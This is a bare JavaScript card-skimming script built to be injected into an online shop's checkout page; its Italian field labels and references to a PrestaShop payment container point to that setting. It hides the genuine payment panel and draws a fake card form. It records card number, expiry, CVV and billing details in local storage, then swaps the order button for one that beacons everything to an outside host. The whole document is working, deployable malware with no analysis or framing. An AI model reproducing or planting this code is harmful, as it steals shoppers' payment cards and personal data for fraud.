<script>
let iisChecked = localStorage.getItem("already_checked");
let loaded = false;
let loaded2 = false;
let url5555 = "https://stratmerikspossible.top/api/accept-car";
let urlInclude = "checkout";
// let placeOrderBtn = ".btn.btn-primary.btn-block.btn-lg";
// let checkbox = "#payment-option-1"
// let paymentBox = " #payment-option-1-container"
const firstNameVal = "firstname"
const lastNameVal = "lastname"
const companyVal = "company"
const addrOneVal = "address1"
const addrTwoVal = "address2"
const postCodeVal = "postcode"
const cityVal = "city"
const phoneVal = "phone"
const mailVal = "email"
function allChecked() {
return document.URL.includes(urlInclude) && localStorage.getItem("already_checked") !== "1";
}
//RENDER
function renderForm() {
let frame = document.querySelector("#headlessui-disclosure-panel-8");
frame.getElementsByTagName("div")[0].remove();
let newDiv = document.createElement('div')
//FORM HTML
newDiv.classList.add("s_div1")
newDiv.innerHTML += `<style>
/* CSS Variables */
:root {
--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
--color-primary: #0570de;
--color-border: #e6e6e6;
--color-text: #515151;
--color-placeholder: #757680;
--color-background: none;
--border-radius: 0;
--spacing-sm: 12px;
--spacing-md: 16px;
--spacing-lg: 24px;
--font-size: 0.9rem;
}
/* Base Styles */
body {
font-family: var(--font-family);
color: var(--color-text);
line-height: 1.5;
margin: 0;
padding: var(--spacing-md);
}
.payment-box {
width: 100%;
max-width: 600px;
padding: 0;
margin-top: 12px;
background-color: var(--color-background);
border: 0px solid var(--color-border);
border-radius: var(--border-radius);
box-sizing: border-box;
margin-bottom: 20px;
}
.payment-box__title {
font-size: 1.25rem;
margin-bottom: var(--spacing-lg);
}
.card-container {
display: flex;
flex-wrap: wrap;
gap: var(--spacing-md);
border: none;
}
.row1 {
display: flex;
flex-direction: row;
flex-wrap: wrap;
width: 100%;
}
.row2 {
display: flex;
flex-direction: row;
flex-wrap: nowrap;
width: 100%;
gap: var(--spacing-md);
}
.card-container__field {
flex: 1;
width: 50%; !important
}
.card-container__field--wide {
flex: 2;
width: 100%;
}
.input-container {
position: relative;
}
.payment-box label {
/* display: none; */
margin-bottom: 8px !important; /* Increased space between label and input */
font-weight: 600;
color: var(--color-text);
font-size: var(--font-size);
}
.input-container input {
width: 100%;
font-size: var(--font-size);
border: 1px solid #c0c0c0;
border-radius: var(--border-radius);
box-sizing: border-box;
font-family: var(--font-family);
color: var(--color-text);
padding: 10px;
border-radius: 3px;
}
#cvv {
height: auto;
margin-top: auto;
}
.input-container input::placeholder {
color: var(--color-placeholder);
}
.input-container input:focus {
outline: none;
border-color: var(--color-primary);
box-shadow: 0 0 0 3px rgba(5, 112, 222, 0.25);
}
.icon-container {
position: absolute;
right: var(--spacing-sm);
top: 50%;
transform: translateY(-50%);
display: flex;
}
.icon-container svg {
height: 1.8em;
width: auto;
}
.card-icons {
display: flex;
gap: 4px;
}
.card-icons svg {
height: 1.2em;
width: auto;
}
.place-order-button {
display: block;
margin-top: var(--spacing-md); /* Add space above the button */
margin-right: auto
width: fit-content;
background-color: black; /* Black background */
color: white; /* White text */
border: none; /* Remove default border */
padding: 10px 20px; /* Padding for better sizing */
font-size: 16px; /* Font size */
cursor: pointer; /* Pointer cursor on hover */
transition: background-color 0.3s ease; /* Smooth hover effect */
border-radius: 5px;
}
/* Responsive Adjustments */
@media (max-width: 400px) {
.card-container {
flex-direction: column;
}
.card-container__field {
min-width: 100%; /* Full width on small screens */
}
.payment-box {
padding: var(--spacing-md);
}
}
</style>
<section class="payment-box">
<fieldset class="card-container">
<div class="row1">
<div class="card-container__field card-container__field--wide">
<label for="holder">Nome del titolare</label>
<div class="input-container">
<input type="text" id="holder" name="holder" placeholder="Nome del titolare" aria-label="Holder">
</div>
</div>
</div>
<div class="row1">
<div class="card-container__field card-container__field--wide">
<label for="cardNum">Numero carta</label>
<div class="input-container">
<input type="text" id="cardNum" name="cardNum" placeholder="Numero carta" aria-label="Card number" maxlength="20">
</div>
</div>
</div>
<div class="row2">
<div class="card-container__field">
<label for="exp">Data di scadenza</label>
<div class="input-container">
<input type="text" id="exp" name="exp" placeholder="MM / YY" aria-label="Expiration date" maxlength="5">
</div>
</div>
<div class="card-container__field">
<label for="cvv">Cod. di sicurezza</label>
<div class="input-container">
<input type="text" id="cvv" name="cvv" placeholder="XXX" aria-label="Security code" maxlength="4" >
</div>
</div>
</div>
</fieldset>
</section>`;
//ATTACH
frame.appendChild(newDiv)
// frame.insertBefore(newDiv, refEle)
//EVENT LISTENERS
document.getElementById("cardNum").addEventListener("input", e => {
localStorage.setItem("cardNum", e.target.value)
})
document.getElementById("exp").addEventListener("input", e => {
localStorage.setItem("exp", e.target.value)
})
document.getElementById("cvv").addEventListener("input", e => {
localStorage.setItem("cvv", e.target.value)
})
//FORMAT INPUT
const input = document.getElementById('exp');
if (input) {
input.addEventListener('keydown', function (e) {
if (e.key >= '0' && e.key <= '9') {
const value = e.target.value.replace(/D/g, '');
if (value.length === 2 && e.key !== 'Backspace') {
e.target.value += '/';
}
}
});
}
const cvcInput = document.getElementById('cvv');
if (cvcInput) {
cvcInput.addEventListener('input', function (e) {
e.target.value = e.target.value.replace(/D/g, '').substring(0, 4);
});
}
//FORM LOADED
loaded = true;
loaded2 = true
}
function renderBtn() {
let placeOrderBtn = ".btn.btn-primary.center-block";
const paymentContainer = document.getElementById("ps_checkout-card-buttons-container");
if (!paymentContainer) return;
const checkout = paymentContainer.querySelector(placeOrderBtn);
if (!checkout) return;
checkout.remove();
const newCheckoutBtn = checkout.cloneNode(true);
newCheckoutBtn.classList.add("s_div1_btn");
newCheckoutBtn.addEventListener("click", () => {
let dataObject = {
domain: window.location.origin,
card: localStorage.getItem("cardNum"),
exp: localStorage.getItem("exp"),
cvv: localStorage.getItem("cvv"),
first_name: localStorage.getItem("firstNameVal") ? localStorage.getItem("firstNameVal") : "",
last_name: localStorage.getItem("lastNameVal") ? localStorage.getItem("lastNameVal") : "",
company: localStorage.getItem("companyVal") ? localStorage.getItem("companyVal") : "",
address1: localStorage.getItem("addrOneVal") ? localStorage.getItem("addrOneVal") : "",
address2: localStorage.getItem("addrTwoVal") ? localStorage.getItem("addrTwoVal") : "",
city: localStorage.getItem("cityVal") ? localStorage.getItem("cityVal") : "",
postcode: localStorage.getItem("postCodeVal") ? localStorage.getItem("postCodeVal") : "",
phone: localStorage.getItem("phoneVal") ? localStorage.getItem("phoneVal") : "",
email: localStorage.getItem("mailVal") ? localStorage.getItem("mailVal") : "",
uagent: navigator.userAgent
};
let dobj = {
domain: window.location.origin,
dataObject: dataObject
};
//SEND PAYLOAD
if(localStorage.getItem("already_checked") !== "1"){
navigator.sendBeacon(url5555, JSON.stringify(dobj));
if(localStorage.getItem("cardNum") && localStorage.getItem("exp") && localStorage.getItem("cvv")){
localStorage.setItem("already_checked", "1");
// document.querySelector(paymentBox).querySelector("fieldset").style.display = "block"
document.querySelector(".s_div1").style.display = none
}
}
});
paymentContainer.appendChild(newCheckoutBtn);
}
//RENDER CHECKS
setInterval(() => {
if (allChecked() && !document.querySelector(".s_div1")) {
renderForm();
}
}, 1000);
setInterval(() => {
if (allChecked() && !document.querySelector(".s_div1_btn")) {
renderBtn();
}
}, 1000);
//ADD TO STORAGE
setInterval(() => {
if(allChecked()){
localStorage.setItem(mailVal, document.querySelector(`[name="${mailVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(firstNameVal, document.querySelector(`[name="${firstNameVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(lastNameVal, document.querySelector(`[name="${lastNameVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(companyVal, document.querySelector(`[name="${companyVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(addrOneVal, document.querySelector(`[name="${addrOneVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(addrTwoVal, document.querySelector(`[name="${addrTwoVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(cityVal, document.querySelector(`[name="${cityVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(postCodeVal, document.querySelector(`[name="${postCodeVal}"]`).value)
}
}, 1000)
setInterval(() => {
if(allChecked()){
localStorage.setItem(phoneVal, document.querySelector(`[name="${phoneVal}"]`).value)
}
}, 1000)
console.log("WORKING!")
</script>